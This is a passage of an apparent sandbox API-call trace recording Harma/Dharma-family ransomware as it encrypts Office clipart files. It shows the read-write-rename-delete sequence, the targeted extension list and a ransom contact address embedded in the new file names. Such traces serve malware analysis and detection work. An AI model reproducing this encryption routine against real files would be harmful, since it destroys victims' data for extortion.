lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.267] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=14688) returned 1 [0157.267] CloseHandle (hObject=0x374) returned 1 [0157.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20 [0157.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.269] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.269] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0157.269] GetLastError () returned 0x0 [0157.269] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x3960, lpOverlapped=0x0) returned 1 [0157.279] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3970, lpOverlapped=0x0) returned 1 [0157.280] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.280] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.280] SetEndOfFile (hFile=0x340) returned 1 [0157.281] CloseHandle (hObject=0x340) returned 1 [0157.281] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.281] SetEndOfFile (hFile=0x374) returned 1 [0157.283] CloseHandle (hObject=0x374) returned 1 [0157.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0157.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.284] lstrlenW (lpString=".doc") returned 4 [0157.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.284] lstrlenW (lpString=".docx") returned 5 [0157.284] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.284] lstrlenW (lpString=".pdf") returned 4 [0157.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.284] lstrlenW (lpString=".xls") returned 4 [0157.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.284] lstrlenW (lpString=".xlsx") returned 5 [0157.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.284] lstrlenW (lpString=".ppt") returned 4 [0157.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.284] lstrlenW (lpString=".zip") returned 4 [0157.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.284] lstrlenW (lpString=".rar") returned 4 [0157.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.284] lstrlenW (lpString=".bz2") returned 4 [0157.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.284] lstrlenW (lpString=".7z") returned 3 [0157.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.285] lstrlenW (lpString=".dbf") returned 4 [0157.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.285] lstrlenW (lpString=".1cd") returned 4 [0157.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.285] lstrlenW (lpString=".jpg") returned 4 [0157.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.285] lstrlenW (lpString=".doc") returned 4 [0157.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.285] lstrlenW (lpString=".docx") returned 5 [0157.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.285] lstrlenW (lpString=".pdf") returned 4 [0157.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.285] lstrlenW (lpString=".xls") returned 4 [0157.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.285] lstrlenW (lpString=".xlsx") returned 5 [0157.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.285] lstrlenW (lpString=".ppt") returned 4 [0157.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.285] lstrlenW (lpString=".zip") returned 4 [0157.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.285] lstrlenW (lpString=".rar") returned 4 [0157.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.285] lstrlenW (lpString=".bz2") returned 4 [0157.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.286] lstrlenW (lpString=".7z") returned 3 [0157.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.286] lstrlenW (lpString=".dbf") returned 4 [0157.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.286] lstrlenW (lpString=".1cd") returned 4 [0157.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0157.286] lstrlenW (lpString=".jpg") returned 4 [0157.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.286] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.286] lstrlenW (lpString="HH00601_.WMF") returned 12 [0157.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.287] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1468) returned 1 [0157.287] CloseHandle (hObject=0x374) returned 1 [0157.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20 [0157.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.287] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.287] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0157.288] GetLastError () returned 0x0 [0157.288] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x5bc, lpOverlapped=0x0) returned 1 [0157.363] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0157.364] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.364] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.364] SetEndOfFile (hFile=0x340) returned 1 [0157.365] CloseHandle (hObject=0x340) returned 1 [0157.365] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.365] SetEndOfFile (hFile=0x374) returned 1 [0157.367] CloseHandle (hObject=0x374) returned 1 [0157.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0157.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.368] lstrlenW (lpString=".doc") returned 4 [0157.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.368] lstrlenW (lpString=".docx") returned 5 [0157.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.368] lstrlenW (lpString=".pdf") returned 4 [0157.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.368] lstrlenW (lpString=".xls") returned 4 [0157.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.368] lstrlenW (lpString=".xlsx") returned 5 [0157.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.368] lstrlenW (lpString=".ppt") returned 4 [0157.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.368] lstrlenW (lpString=".zip") returned 4 [0157.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.368] lstrlenW (lpString=".rar") returned 4 [0157.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.368] lstrlenW (lpString=".bz2") returned 4 [0157.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.369] lstrlenW (lpString=".7z") returned 3 [0157.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.369] lstrlenW (lpString=".dbf") returned 4 [0157.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.369] lstrlenW (lpString=".1cd") returned 4 [0157.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.369] lstrlenW (lpString=".jpg") returned 4 [0157.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.369] lstrlenW (lpString=".doc") returned 4 [0157.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.369] lstrlenW (lpString=".docx") returned 5 [0157.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.369] lstrlenW (lpString=".pdf") returned 4 [0157.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.369] lstrlenW (lpString=".xls") returned 4 [0157.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.369] lstrlenW (lpString=".xlsx") returned 5 [0157.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.369] lstrlenW (lpString=".ppt") returned 4 [0157.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.369] lstrlenW (lpString=".zip") returned 4 [0157.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.369] lstrlenW (lpString=".rar") returned 4 [0157.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.370] lstrlenW (lpString=".bz2") returned 4 [0157.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.370] lstrlenW (lpString=".7z") returned 3 [0157.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.370] lstrlenW (lpString=".dbf") returned 4 [0157.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.370] lstrlenW (lpString=".1cd") returned 4 [0157.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0157.370] lstrlenW (lpString=".jpg") returned 4 [0157.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.370] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.370] lstrlenW (lpString="HH00612_.WMF") returned 12 [0157.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.371] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=12632) returned 1 [0157.371] CloseHandle (hObject=0x374) returned 1 [0157.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x20 [0157.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.372] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.372] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0157.373] GetLastError () returned 0x0 [0157.373] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x3158, lpOverlapped=0x0) returned 1 [0157.573] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3160, lpOverlapped=0x0) returned 1 [0157.574] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.574] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.574] SetEndOfFile (hFile=0x340) returned 1 [0157.575] CloseHandle (hObject=0x340) returned 1 [0157.575] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.575] SetEndOfFile (hFile=0x374) returned 1 [0157.577] CloseHandle (hObject=0x374) returned 1 [0157.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0157.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.578] lstrlenW (lpString=".doc") returned 4 [0157.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.578] lstrlenW (lpString=".docx") returned 5 [0157.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.578] lstrlenW (lpString=".pdf") returned 4 [0157.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.578] lstrlenW (lpString=".xls") returned 4 [0157.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.578] lstrlenW (lpString=".xlsx") returned 5 [0157.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.578] lstrlenW (lpString=".ppt") returned 4 [0157.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.578] lstrlenW (lpString=".zip") returned 4 [0157.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.578] lstrlenW (lpString=".rar") returned 4 [0157.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.578] lstrlenW (lpString=".bz2") returned 4 [0157.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.578] lstrlenW (lpString=".7z") returned 3 [0157.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.579] lstrlenW (lpString=".dbf") returned 4 [0157.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.579] lstrlenW (lpString=".1cd") returned 4 [0157.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.579] lstrlenW (lpString=".jpg") returned 4 [0157.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.579] lstrlenW (lpString=".doc") returned 4 [0157.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.579] lstrlenW (lpString=".docx") returned 5 [0157.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.579] lstrlenW (lpString=".pdf") returned 4 [0157.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.579] lstrlenW (lpString=".xls") returned 4 [0157.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.579] lstrlenW (lpString=".xlsx") returned 5 [0157.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.579] lstrlenW (lpString=".ppt") returned 4 [0157.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.579] lstrlenW (lpString=".zip") returned 4 [0157.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.579] lstrlenW (lpString=".rar") returned 4 [0157.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.579] lstrlenW (lpString=".bz2") returned 4 [0157.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.579] lstrlenW (lpString=".7z") returned 3 [0157.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.580] lstrlenW (lpString=".dbf") returned 4 [0157.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.580] lstrlenW (lpString=".1cd") returned 4 [0157.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0157.580] lstrlenW (lpString=".jpg") returned 4 [0157.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.580] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.580] lstrlenW (lpString="HH00636_.WMF") returned 12 [0157.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.581] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1568) returned 1 [0157.581] CloseHandle (hObject=0x374) returned 1 [0157.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20 [0157.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.582] 